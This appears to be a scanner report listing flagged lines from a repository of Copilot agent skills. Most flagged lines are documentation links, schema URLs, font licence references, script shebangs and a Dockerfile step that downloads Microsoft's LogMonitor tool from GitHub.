    - [wmic](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wmic)
  • Network accessline 827
    - [writer](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/writer)
  • Network accessline 828
    - [wscript](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wscript)
  • Network accessline 832
    - [xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)

harness/github-copilot/skills/batch-files/references/windows-subsystem-on-linux.md

  • Network accessline 5
    - [WSL Home](https://learn.microsoft.com/en-us/windows/wsl/)
  • Network accessline 6
    - [What is the Windows Subsystem for Linux (WSL)?](https://learn.microsoft.com/en-us/windows/wsl/about)
  • Network accessline 7
    - [Install WSL](https://learn.microsoft.com/en-us/windows/wsl/install)
  • Network accessline 8
    - [Install Linux on Windows Server](https://learn.microsoft.com/en-us/windows/wsl/install-on-server)
  • Network accessline 9
    - [Manual install steps](https://learn.microsoft.com/en-us/windows/wsl/install-manual)
  • Network accessline 10
    - [Best practices for setting up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment)
  • Network accessline 11
    - [Comparing WSL 1 and WSL 2](https://learn.microsoft.com/en-us/windows/wsl/compare-versions)
  • Network accessline 12
    - [What's new with WSL 2?](https://learn.microsoft.com/en-us/windows/wsl/compare-versions#whats-new-in-wsl-2)
  • Network accessline 13
    - [Frequently Asked Questions](https://learn.microsoft.com/en-us/windows/wsl/faq)
  • Network accessline 14
    - [Windows Subsystem for Linux is now open source](https://blogs.windows.com/windowsdeveloper/2025/05/19/the-windows-subsystem-for-linux-is-now-open-source/)
  • Network accessline 18
    - [Microsoft PowerToys](https://learn.microsoft.com/en-us/windows/powertoys/)
  • Network accessline 19
    - [Windows Package Manager](https://learn.microsoft.com/en-us/windows/package-manager/)
  • Network accessline 20
    - [Windows Insiders Program](https://insider.windows.com/getting-started)
  • Network accessline 24
    - [Overview post with a collection of videos and blogs](https://devblogs.microsoft.com/commandline/learn-about-windows-console-and-windows-subsystem-for-linux-wsl/)
  • Network accessline 25
    - [Command-Line blog](https://devblogs.microsoft.com/commandline/)
  • Network accessline 26
    - [Windows Subsystem for Linux Blog](https://learn.microsoft.com/en-us/archive/blogs/wsl/)
  • Network accessline 27
    - [GitHub issue tracker: WSL](https://github.com/microsoft/WSL/issues)
  • Network accessline 28
    - [GitHub issue tracker: WSL documentation](https://github.com/MicrosoftDocs/WSL/issues)
  • Network accessline 34
    - [Building and testing WSL](https://wsl.dev/dev-loop/)
  • Network accessline 35
    - [Debugging WSL](https://wsl.dev/debugging/)
  • Network accessline 39
    - [Overview](https://wsl.dev/technical-documentation/)
  • Network accessline 40
    - [wsl.exe](https://wsl.dev/technical-documentation/wsl.exe/)
  • Network accessline 41
    - [wslg.exe](https://wsl.dev/technical-documentation/wslg.exe/)
  • Network accessline 42
    - [wslconfig.exe](https://wsl.dev/technical-documentation/wslconfig.exe/)
  • Network accessline 43
    - [wslhost.exe](https://wsl.dev/technical-documentation/wslhost.exe/)
  • Network accessline 44
    - [wslrelay.exe](https://wsl.dev/technical-documentation/wslrelay.exe/)
  • Network accessline 45
    - [wslservice.exe](https://wsl.dev/technical-documentation/wslservice.exe/)
  • Network accessline 49
    - [mini_init](https://wsl.dev/technical-documentation/mini_init/)
  • Network accessline 50
    - [init](https://wsl.dev/technical-documentation/init/)
  • Network accessline 51
    - [session leader](https://wsl.dev/technical-documentation/session-leader/)
  • Network accessline 52
    - [relay](https://wsl.dev/technical-documentation/relay/)
  • Network accessline 53
    - [gns](https://wsl.dev/technical-documentation/gns/)
  • Network accessline 54
    - [localhost](https://wsl.dev/technical-documentation/localhost/)
  • Network accessline 55
    - [plan9](https://wsl.dev/technical-documentation/plan9/)
  • Network accessline 59
    - [Boot process](https://wsl.dev/technical-documentation/boot-process/)
  • Network accessline 60
    - [Interop](https://wsl.dev/technical-documentation/interop/)
  • Network accessline 61
    - [Drvfs & Plan9](https://wsl.dev/technical-documentation/drvfs/)
  • Network accessline 62
    - [Systemd](https://wsl.dev/technical-documentation/systemd/)

harness/github-copilot/skills/brag-sheet/SKILL.md

  • Network accessline 193
    - [copilot-brag-sheet](https://github.com/microsoft/copilot-brag-sheet)

harness/github-copilot/skills/bug-receipt/SKILL.md

  • Network accessline 111
    - [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)

harness/github-copilot/skills/bug-receipt/references/receipt.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://lmysticl.github.io/bug-receipt/receipt.schema.json",

harness/github-copilot/skills/bug-receipt/scripts/validate-receipt.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/bug-reproduction-brief/SKILL.md

  • Network accessline 111
    - [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)

harness/github-copilot/skills/build-evidence-map/references/map-schema.md

  • Network accessline 48
    "id": "source-1",       "title": "Source title",       "url": "https://example.com/source",
  • Network accessline 49
    "title": "Source title",       "url": "https://example.com/source",       "publisher": "Publisher",
  • Network accessline 50
    "url": "https://example.com/source",

harness/github-copilot/skills/build-evidence-map/scripts/contract.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/skills/build-evidence-map/scripts/validate.mjs

  • Executable scriptline 1
    #!/usr/bin/env node

harness/github-copilot/skills/canvas-design/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/github-copilot/skills/canvas-design/canvas-fonts/ArsenalSC-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/BigShoulders-OFL.txt

  • Network accessline 1
    Copyright 2019 The Big Shoulders Project Authors (https://github.com/xotypeco/big_shoulders)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Boldonse-OFL.txt

  • Network accessline 1
    Copyright 2024 The Boldonse Project Authors (https://github.com/googlefonts/boldonse)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/BricolageGrotesque-OFL.txt

  • Network accessline 1
    Copyright 2022 The Bricolage Grotesque Project Authors (https://github.com/ateliertriay/bricolage)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/CrimsonPro-OFL.txt

  • Network accessline 1
    Copyright 2018 The Crimson Pro Project Authors (https://github.com/Fonthausen/CrimsonPro)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/DMMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The DM Mono Project Authors (https://www.github.com/googlefonts/dm-mono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/EricaOne-OFL.txt

  • Network accessline 4
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 6
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/GeistMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Geist Project Authors (https://github.com/vercel/geist-font.git)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Gloock-OFL.txt

  • Network accessline 1
    Copyright 2022 The Gloock Project Authors (https://github.com/duartp/gloock)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/IBMPlexMono-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/InstrumentSans-OFL.txt

  • Network accessline 1
    Copyright 2022 The Instrument Sans Project Authors (https://github.com/Instrument/instrument-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Italiana-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/JetBrainsMono-OFL.txt

  • Network accessline 1
    Copyright 2020 The JetBrains Mono Project Authors (https://github.com/JetBrains/JetBrainsMono)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Jura-OFL.txt

  • Network accessline 1
    Copyright 2019 The Jura Project Authors (https://github.com/ossobuffo/jura)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/LibreBaskerville-OFL.txt

  • Network accessline 1
    Copyright 2012 The Libre Baskerville Project Authors (https://github.com/impallari/Libre-Baskerville) with Reserved Font Name Libre Baskerville.
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Lora-OFL.txt

  • Network accessline 1
    Copyright 2011 The Lora Project Authors (https://github.com/cyrealtype/Lora-Cyrillic), with Reserved Font Name "Lora".
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/NationalPark-OFL.txt

  • Network accessline 1
    Copyright 2025 The National Park Project Authors (https://github.com/benhoepner/National-Park)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/NothingYouCouldDo-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Outfit-OFL.txt

  • Network accessline 1
    Copyright 2021 The Outfit Project Authors (https://github.com/Outfitio/Outfit-Fonts)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/PixelifySans-OFL.txt

  • Network accessline 1
    Copyright 2021 The Pixelify Sans Project Authors (https://github.com/eifetx/Pixelify-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/PoiretOne-OFL.txt

  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/RedHatMono-OFL.txt

  • Network accessline 1
    Copyright 2024 The Red Hat Project Authors (https://github.com/RedHatOfficial/RedHatFont)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Silkscreen-OFL.txt

  • Network accessline 1
    Copyright 2001 The Silkscreen Project Authors (https://github.com/googlefonts/silkscreen)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/SmoochSans-OFL.txt

  • Network accessline 1
    Copyright 2016 The Smooch Sans Project Authors (https://github.com/googlefonts/smooch-sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/Tektur-OFL.txt

  • Network accessline 1
    Copyright 2023 The Tektur Project Authors (https://www.github.com/hyvyys/Tektur)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/WorkSans-OFL.txt

  • Network accessline 1
    Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/canvas-design/canvas-fonts/YoungSerif-OFL.txt

  • Network accessline 1
    Copyright 2023 The Young Serif Project Authors (https://github.com/noirblancrouge/YoungSerif)
  • Network accessline 3
    This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is copied below, and is also available with a FAQ at: https://openfontlicense.org
  • Network accessline 5
    https://openfontlicense.org

harness/github-copilot/skills/chaos-engineering/SKILL.md

  • Network accessline 140
    - [Principles of Chaos Engineering](https://principlesofchaos.org/)
  • Network accessline 141
    - [AWS Fault Injection Service](https://docs.aws.amazon.com/fis/latest/userguide/what-is.html)
  • Network accessline 142
    - [Azure Chaos Studio](https://learn.microsoft.com/en-us/azure/chaos-studio/chaos-studio-overview)
  • Network accessline 143
    - [Chaos Mesh](https://chaos-mesh.org/docs/)

harness/github-copilot/skills/cloud-design-patterns/SKILL.md

  • Network accessline 113
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 114
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/github-copilot/skills/code-tour/SKILL.md

  • Network accessline 21
    - CodeTour files live in `.tours/` and use the VS Code CodeTour extension: https://github.com/microsoft/codetour.
  • Network accessline 106
    {   "$schema": "https://aka.ms/codetour-schema",
  • Network accessline 107
    "$schema": "https://aka.ms/codetour-schema",
  • Network accessline 130
    | Explain a function or class body | `selection` | Use when a block matters more than one line. | | Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Com
  • Network accessline 131
    | Anchor volatile code | `pattern` | Regex must compile and match a real line in the file. | | Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. | | Focus a VS
  • Network accessline 132
    | Provide PR, issue, or doc context | `uri` | Complete real URL beginning with `https://`; examples include `https://{example-url}`. |
  • Network accessline 164
    | What to study | URL | | --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour |
  • Network accessline 165
    | --- | --- | | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour | | `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/b
  • Network accessline 166
    | `directory` + `file+line` contributor onboarding | https://github.com/coder/code-server/blob/main/.tours/contributing.tour |
  • Network accessline 167
    | `selection` + `file+line` + intro content step | https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour |
  • Network accessline 168
    | Minimal tutorial with tight `file+line` narration | https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour |
  • Network accessline 169
    | Search for more `.tour` files | https://github.com/search?q=path%3A**%2F*.tour+&type=code |
  • Network accessline 171
    Raw content tip: prefix `raw.githubusercontent.com` and drop `/blob/` for raw JSON access. For public repositories, users can open tours at `https://vscode.dev/github.com/<owner>/<repo>`.
  • Network accessline 224
    ### Share and follow-up - Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available
  • Network accessline 225
    - Public URL: `https://vscode.dev/github.com/<owner>/<repo>` or not available
  • Network accessline 236
    - [ ] Every `directory` path is relative to repo root and exists. - [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`.
  • Network accessline 237
    - [ ] Every `pattern` regex compiles and matches a real line. - [ ] Every `uri` is a complete real URL beginning with `https://`. - [ ] `ref` is a real branch, tag, or commit when set.
  • Network accessline 238
    - [ ] Every `uri` is a complete real URL beginning with `https://`.
  • Network accessline 249
    - [VS Code CodeTour extension](https://github.com/microsoft/codetour)
  • Network accessline 250
    - [CodeTour schema URL](https://aka.ms/codetour-schema)
  • Network accessline 251
    - [Code server contributing tour](https://github.com/coder/code-server/blob/main/.tours/contributing.tour)
  • Network accessline 252
    - [A11y project code tour](https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour)
  • Network accessline 253
    - [Rock paper scissors main tour](https://github.com/lostintangent/rock-paper-scissors/blob/master/main.tour)
  • Network accessline 254
    - [GitHub Code Search for tours](https://github.com/search?q=path%3A**%2F*.tour+&type=code)

harness/github-copilot/skills/code-tour/references/codetour-schema.json

  • Network accessline 1
    {   "$schema": "http://json-schema.org/draft-04/schema#",
  • Network accessline 2
    "$schema": "http://json-schema.org/draft-04/schema#",
  • Network accessline 59
    "uri": {             "type": "string",             "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."
  • Network accessline 60
    "type": "string",             "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."           },
  • Network accessline 61
    "description": "Absolute URI (https://{example-url}) associated with the step. Use for PRs, issues, docs, ADRs."

harness/github-copilot/skills/code-tour/references/examples.md

  • Network accessline 10
    **Tour file:** https://github.com/microsoft/codetour/blob/main/.tours/intro.tour
  • Network accessline 24
    "file": "src/player/index.ts",   "line": 436,   "description": "###  Tour Player\n\nThe CodeTour player ...\n\n![Architecture](https://raw.githubusercontent.com/{owner}/{repo}/main/overview.svg)\n\nSee also: [Gutter decorator](./src/player/
  • Network accessline 25
    "line": 436,   "description": "###  Tour Player\n\nThe CodeTour player ...\n\n![Architecture](https://raw.githubusercontent.com/{owner}/{repo}/main/overview.svg)\n\nSee also: [Gutter decorator](./src/player/decorator.ts)" }
  • Network accessline 26
    "description": "###  Tour Player\n\nThe CodeTour player ...\n\n![Architecture](https://raw.githubusercontent.com/{owner}/{repo}/main/overview.svg)\n\nSee also: [Gutter decorator](./src/player/decorator.ts)"
  • Network accessline 34
    **Tour file:** https://github.com/a11yproject/a11yproject.com/blob/main/.tours/code-tour.tour
  • Network accessline 57
    **Tour file:** https://github.com/github/codespaces-codeql/blob/main/.tours/codeql-tutorial.tour
  • Network accessline 85
    **Tour file:** https://github.com/github/codespaces-learn-with-me/blob/main/.tours/main.tour
  • Network accessline 101
    **Tour file:** https://github.com/blackgirlbytes/copilot-todo-list/blob/main/.tours/main.tour
  • Network accessline 123
    **Tour files:** - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour
  • Network accessline 124
    - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/function-tweet-retriever.tour
  • Network accessline 125
    - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/oci-and-infrastructure-as-code.tour
  • Network accessline 126
    - https://github.com/lucasjellema/cloudnative-on-oci-2021/blob/main/.tours/build-and-deployment-pipeline-function-tweet-retriever.tour
  • Network accessline 165
    | `selection: {start, end}` | Highlight a block (function body, config section, type def) | a11yproject, oci-2021, codespaces-codeql | | `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql |
  • Network accessline 166
    | `directory: "path/"` | Orient to a folder without reading every file | a11yproject, codespaces-codeql | | `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour | | `nextTour: "Title"` | Chain tour
  • Network accessline 167
    | `uri: "https://{example-url}"` | Link to PR, issue, RFC, ADR, external doc | Any PR review tour |
  • Network accessline 177
    **Search all `.tour` files on GitHub:** https://github.com/search?q=path%3A**%2F*.tour+&type=code
  • Network accessline 178
    https://github.com/search?q=path%3A**%2F*.tour+&type=code
  • Network accessline 191
    - **DEV Community — "Onboard your codebase with CodeTour"**: https://dev.to/tobiastimm/onboard-your-codebase-with-codetour-2jc8
  • Network accessline 192
    - **Coder Blog — "Onboard to new projects faster with CodeTour"**: https://coder.com/blog/onboard-to-new-projects-faster-with-codetour
  • Network accessline 193
    - **CodeTour GitHub Topics**: https://github.com/topics/codetour

harness/github-copilot/skills/code-tour/scripts/generate_from_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 234
    return {         "$schema": "https://aka.ms/codetour-schema",
  • Network accessline 235
    "$schema": "https://aka.ms/codetour-schema",

harness/github-copilot/skills/code-tour/scripts/validate_tour.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 11
    - Directory paths that exist   - Pattern regexes that compile AND match at least one line   - URI format (must start with https://)
  • Network accessline 11
    - Directory paths that exist   - Pattern regexes that compile AND match at least one line   - URI format (must start with https://)
  • Network accessline 12
    - Pattern regexes that compile AND match at least one line   - URI format (must start with https://)   - nextTour matches an existing tour title in .tours/
  • Network accessline 12
    - Pattern regexes that compile AND match at least one line   - URI format (must start with https://)   - nextTour matches an existing tour title in .tours/
  • Network accessline 13
    - URI format (must start with https://)
  • Network accessline 13
    - URI format (must start with https://)
  • Network accessline 218
    uri = step["uri"]             if not uri.startswith("https://") and not uri.startswith("http://"):                 warnings.append(f"{label}: URI should start with https://: {uri!r}")
  • Network accessline 218
    uri = step["uri"]             if not uri.startswith("https://") and not uri.startswith("http://"):                 warnings.append(f"{label}: URI should start with https://: {uri!r}")
  • Network accessline 220
    warnings.append(f"{label}: URI should start with https://: {uri!r}")
  • Network accessline 220
    warnings.append(f"{label}: URI should start with https://: {uri!r}")

harness/github-copilot/skills/codeql/SKILL.md

  • Network accessline 22
    - Advanced setup uses `.github/workflows/codeql.yml` and may use `.github/codeql/codeql-config.yml`. - CLI uploads require `GITHUB_TOKEN` with `security-events: write` plus repository, ref, and commit metadata. - Use the CodeQL bundle from 
  • Network accessline 24
    - Use the CodeQL bundle from https://github.com/github/codeql-action/releases, not a standalone CLI download, so bundled queries and precompiled packs match the CLI.
  • Network accessline 237
    - [CodeQL Action releases](https://github.com/github/codeql-action/releases)

harness/github-copilot/skills/codeql/references/cli-commands.md

  • Network accessline 9
    Always download the CodeQL bundle (CLI + precompiled queries) from: [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)
  • Network accessline 10
    [https://github.com/github/codeql-action/releases](https://github.com/github/codeql-action/releases)

harness/github-copilot/skills/codeql/references/compiled-languages.md

  • Dangerous shell operationline 52
    - **Auto-install dependencies:** Set `CODEQL_EXTRACTOR_CPP_AUTOINSTALL_DEPENDENCIES=true` (enabled by default on GitHub-hosted; disabled on self-hosted). Requires Ubuntu with passwordless `sudo apt-get`.

harness/github-copilot/skills/codeql/references/sarif-output.md

  • Network accessline 9
    - Specification: [OASIS SARIF v2.1.0](https://docs.oasis-open.org/sarif/sarif/v2.1.0/sarif-v2.1.0.html)
  • Network accessline 10
    - Schema: [sarif-schema-2.1.0.json](https://docs.oasis-open.org/sarif/sarif/v2.1.0/errata01/os/schemas/sarif-schema-2.1.0.json)
  • Network accessline 258
    Validate SARIF files before upload using the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/).

harness/github-copilot/skills/codeql/references/troubleshooting.md

  • Network accessline 241
    **Solutions:** - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)
  • Network accessline 242
    - Validate against the [Microsoft SARIF validator](https://sarifweb.azurewebsites.net/)

harness/github-copilot/skills/commit-message-storyteller/SKILL.md

  • Network accessline 28
    Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.

harness/github-copilot/skills/commit-message-storyteller/references/conventional-commits-guide.md

  • Network accessline 3
    Full spec: https://www.conventionalcommits.org/en/v1.0.0/

harness/github-copilot/skills/competitor-ad-intelligence/SKILL.md

  • Network accessline 7
    author: GooseWorks   compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required.   source: https://github.com/gooseworks-ai/goose-skills
  • Network accessline 8
    compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required.   source: https://github.com/gooseworks-ai/goose-skills   version: "1.0"
  • Network accessline 9
    source: https://github.com/gooseworks-ai/goose-skills
  • Network accessline 58
    | Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p
  • Network accessline 59
    | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va
  • Network accessline 60
    | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations |
  • Network accessline 61
    | Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar
  • Network accessline 62
    | Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site:
  • Network accessline 281
    - [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
  • Network accessline 282
    - [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>)
  • Network accessline 283
    - [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)

harness/github-copilot/skills/containerize-aspnet-framework/SKILL.md

  • Network accessline 95
    - The Windows Server SKU specified in containerization settings (Core or Full)    - The Windows Server version specified in containerization settings (2016, 2019, or 2022)    - Windows Server Core tags can be found at: https://github.com/mi
  • Network accessline 96
    - The Windows Server version specified in containerization settings (2016, 2019, or 2022)    - Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing 5. Ens
  • Network accessline 97
    - Windows Server Core tags can be found at: https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing
  • Network accessline 133
    - Copy the `LogMonitorConfig.json` file to a directory in the container (e.g., C:\LogMonitor)        - Download LogMonitor.exe from the Microsoft repository to the same directory            - The correct LogMonitor.exe URL is: https://githu
  • Network accessline 134
    - Download LogMonitor.exe from the Microsoft repository to the same directory            - The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe        - Set the work
  • Network accessline 135
    - The correct LogMonitor.exe URL is: https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe
  • Network accessline 332
    # Copy LogMonitor from the microsoft/windows-container-tools repository WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe
  • Network accessline 333
    WORKDIR /LogMonitor RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe # Copy LogMonitorConfig.json from local files
  • Network accessline 334
    RUN curl -fSLo LogMonitor.exe https://github.com/microsoft/windows-container-tools/releases/download/v2.1.1/LogMonitor.exe
  • Network accessline 432
    - [ ] `docker build -t aspnet-app:latest .` was run, or the report explains why Docker build could not run in the current environment. ## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-
  • Network accessline 433
    ## References - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing) - [Windows container LogMonitor.exe](https://github.com/microsoft/windows-container
  • Network accessline 434
    - [.NET Framework Docker ASP.NET image tags](https://github.com/microsoft/dotnet-framework-docker/blob/main/README.aspnet.md#full-tag-listing)
